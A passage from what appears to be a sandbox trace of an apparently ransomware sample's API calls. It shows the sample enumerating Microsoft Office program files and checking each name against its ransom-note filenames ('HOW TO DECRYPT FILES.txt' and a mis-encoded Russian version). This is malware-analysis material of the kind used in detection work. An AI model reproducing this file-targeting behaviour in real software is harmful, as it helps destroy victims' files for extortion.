pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.228] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a159300, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a159300, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0066.228] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.228] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOHTMED.EXE") returned -1 [0066.228] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOHTMED.EXE") returned -1 [0066.228] lstrcmpiA (lpString1="", lpString2="MSOHTMED.EXE") returned -1 [0066.228] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEVI.DLL") returned="MSOHEVI.DLL" [0066.228] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0066.228] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0066.228] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa94b500, ftCreationTime.dwHighDateTime=0x1caca29, ftLastAccessTime.dwLowDateTime=0x593a1b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa94b500, ftLastWriteTime.dwHighDateTime=0x1caca29, nFileSizeHigh=0x0, nFileSizeLow=0xa398, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSTYLE.DLL", cAlternateFileName="")) returned 1 [0066.228] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.228] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOSTYLE.DLL") returned -1 [0066.228] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOSTYLE.DLL") returned -1 [0066.228] lstrcmpiA (lpString1="", lpString2="MSOSTYLE.DLL") returned -1 [0066.228] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd6297920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0xde180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSYNC.EXE", cAlternateFileName="")) returned 1 [0066.229] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.229] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOSYNC.EXE") returned -1 [0066.229] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOSYNC.EXE") returned -1 [0066.229] lstrcmpiA (lpString1="", lpString2="MSOSYNC.EXE") returned -1 [0066.229] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd62e3be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x77978, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.EXE", cAlternateFileName="")) returned 1 [0066.229] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.229] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOUC.EXE") returned -1 [0066.229] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOUC.EXE") returned -1 [0066.229] lstrcmpiA (lpString1="", lpString2="MSOUC.EXE") returned -1 [0066.229] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x593c7cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTL.OLB", cAlternateFileName="")) returned 1 [0066.229] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.230] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOUTL.OLB") returned -1 [0066.230] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOUTL.OLB") returned -1 [0066.230] lstrcmpiA (lpString1="", lpString2="MSOUTL.OLB") returned -1 [0066.230] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda57df00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd6309d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda57df00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x45578, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTLS.DLL", cAlternateFileName="")) returned 1 [0066.230] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.230] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOUTLS.DLL") returned -1 [0066.230] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOUTLS.DLL") returned -1 [0066.230] lstrcmpiA (lpString1="", lpString2="MSOUTLS.DLL") returned -1 [0066.230] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f00800, ftCreationTime.dwHighDateTime=0x1caba23, ftLastAccessTime.dwLowDateTime=0xbde72640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f00800, ftLastWriteTime.dwHighDateTime=0x1caba23, nFileSizeHigh=0x0, nFileSizeLow=0x11560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPJEVTS.DLL", cAlternateFileName="")) returned 1 [0066.230] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.230] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSPJEVTS.DLL") returned -1 [0066.230] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSPJEVTS.DLL") returned -1 [0066.230] lstrcmpiA (lpString1="", lpString2="MSPJEVTS.DLL") returned -1 [0066.231] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x62588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPPT.OLB", cAlternateFileName="")) returned 1 [0066.231] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.231] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSPPT.OLB") returned -1 [0066.231] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSPPT.OLB") returned -1 [0066.231] lstrcmpiA (lpString1="", lpString2="MSPPT.OLB") returned -1 [0066.231] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe57c63a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xd65a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPRJ.OLB", cAlternateFileName="")) returned 1 [0066.231] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.231] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSPRJ.OLB") returned -1 [0066.231] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSPRJ.OLB") returned -1 [0066.231] lstrcmpiA (lpString1="", lpString2="MSPRJ.OLB") returned -1 [0066.231] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6ae000, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xdac3c1c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6ae000, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x4e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="msproof7.dll", cAlternateFileName="")) returned 1 [0066.231] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.231] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msproof7.dll") returned -1 [0066.232] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msproof7.dll") returned -1 [0066.232] lstrcmpiA (lpString1="", lpString2="msproof7.dll") returned -1 [0066.232] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x1963b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPST32.DLL", cAlternateFileName="")) returned 1 [0066.232] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.232] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSPST32.DLL") returned -1 [0066.232] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSPST32.DLL") returned -1 [0066.232] lstrcmpiA (lpString1="", lpString2="MSPST32.DLL") returned -1 [0066.232] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x6a1356f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xdb4b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.EXE", cAlternateFileName="")) returned 1 [0066.232] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.232] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSPUB.EXE") returned -1 [0066.232] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSPUB.EXE") returned -1 [0066.232] lstrcmpiA (lpString1="", lpString2="MSPUB.EXE") returned -1 [0066.232] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d978100, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d978100, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspub.exe.manifest", cAlternateFileName="MSPUBE~1.MAN")) returned 1 [0066.233] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.233] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mspub.exe.manifest") returned -1 [0066.233] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mspub.exe.manifest") returned -1 [0066.233] lstrcmpiA (lpString1="", lpString2="mspub.exe.manifest") returned -1 [0066.233] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33918f00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33918f00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ff28, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.TLB", cAlternateFileName="")) returned 1 [0066.233] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.233] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSPUB.TLB") returned -1 [0066.233] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSPUB.TLB") returned -1 [0066.233] lstrcmpiA (lpString1="", lpString2="MSPUB.TLB") returned -1 [0066.233] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ad2d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32ad2d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xd1160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.EXE", cAlternateFileName="")) returned 1 [0066.233] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.234] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e550, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSRTEDIT.DLL", cAlternateFileName="")) returned 1 [0066.234] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.234] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf055920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xff368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORDB.EXE", cAlternateFileName="")) returned 1 [0066.234] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.234] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7931a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59460250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7931a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x20158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE.EXE", cAlternateFileName="")) returned 1 [0066.234] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.234] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a28c350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x89b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORES.DLL", cAlternateFileName="")) returned 1 [0066.235] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.235] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7466000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x6a2fe770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7466000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0xdc158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWORD.OLB", cAlternateFileName="")) returned 1 [0066.235] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.235] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633f6700, ftCreationTime.dwHighDateTime=0x1c9ce43, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633f6700, ftLastWriteTime.dwHighDateTime=0x1c9ce43, nFileSizeHigh=0x0, nFileSizeLow=0x46530, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSYUBIN7.DLL", cAlternateFileName="")) returned 1 [0066.235] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.236] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e32200, ftCreationTime.dwHighDateTime=0x1c62ad6, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e32200, ftLastWriteTime.dwHighDateTime=0x1c62ad6, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="MYSL.ICO", cAlternateFileName="")) returned 1 [0066.236] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.236] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636bfc00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xd79ccfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x636bfc00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0x1b968, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0066.236] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.236] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="NAMECO~1.DLL")) returned 1 [0066.236] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.236] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x1ab80, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLSERVER.EXE", cAlternateFileName="NAMECO~1.EXE")) returned 1 [0066.237] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.237] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948ed600, ftCreationTime.dwHighDateTime=0x1ca913a, ftLastAccessTime.dwLowDateTime=0xbdf30d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948ed600, ftLastWriteTime.dwHighDateTime=0x1ca913a, nFileSizeHigh=0x0, nFileSizeLow=0x26180, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0066.237] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.237] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a4c77f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x77cdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Data0011.DLL", cAlternateFileName="NL7DAT~1.DLL")) returned 1 [0066.237] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.237] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x258bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Lexicons0011.DLL", cAlternateFileName="NL7LEX~1.DLL")) returned 1 [0066.237] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0066.237] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17736b00, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa225ad60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17736b00, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x589bb0, 